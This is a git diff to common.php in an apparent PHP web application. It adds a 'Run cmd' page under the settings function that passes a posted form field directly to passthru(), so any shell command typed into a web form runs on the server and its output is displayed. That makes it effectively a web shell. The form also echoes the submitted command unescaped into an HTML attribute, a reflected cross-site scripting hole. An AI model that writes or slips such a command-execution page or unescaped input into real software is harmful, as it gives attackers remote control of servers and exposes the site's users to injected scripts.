diff --git a/common.php b/common.php
index fd53d9a..fd601a6 100644
--- a/common.php
+++ b/common.php
@@ -1307,6 +1307,40 @@ function EnvOpt($needUpdate = 0)
     $html .= '
 <a href="' . $preurl . '">' . getconstStr('Back') . '</a><br>
 ';
+    if ($_GET['setup']==='cmd') {
+        $statusCode = 200;
+        $html .= '
+<form name="form1" method="POST" action="">
+    <input id="inputarea" name="cmd" style="width:100%" value="' . $_POST['cmd'] . '"><br>
+    <input type="submit" value="post">
+</form>';
+        if ($_POST['cmd']!='') {
+            $html .= '
+<pre>';
+            @ob_start();
+            passthru($_POST['cmd'], $cmdstat);
+            $html .= '
+stat: ' . $cmdstat . '
+output:
+
+';
+            if ($cmdstat>0) $statusCode = 400;
+            if ($cmdstat===1) $statusCode = 403;
+            if ($cmdstat===127) $statusCode = 404;
+            $html .= htmlspecialchars(ob_get_clean());
+            $html .= '</pre>';
+        }
+        $html .= '
+<script>
+    setTimeout(function () {
+        let inputarea = document.getElementById(\'inputarea\');
+        //console.log(a + ", " + inputarea.value);
+        inputarea.focus();
+        inputarea.setSelectionRange(0, inputarea.value.length);
+    }, 500);
+</script>';
+        return message($html, 'Run cmd', $statusCode);
+    }
     if ($_GET['setup']==='platform') {
         $frame .= '
 <table border=1 width=100%>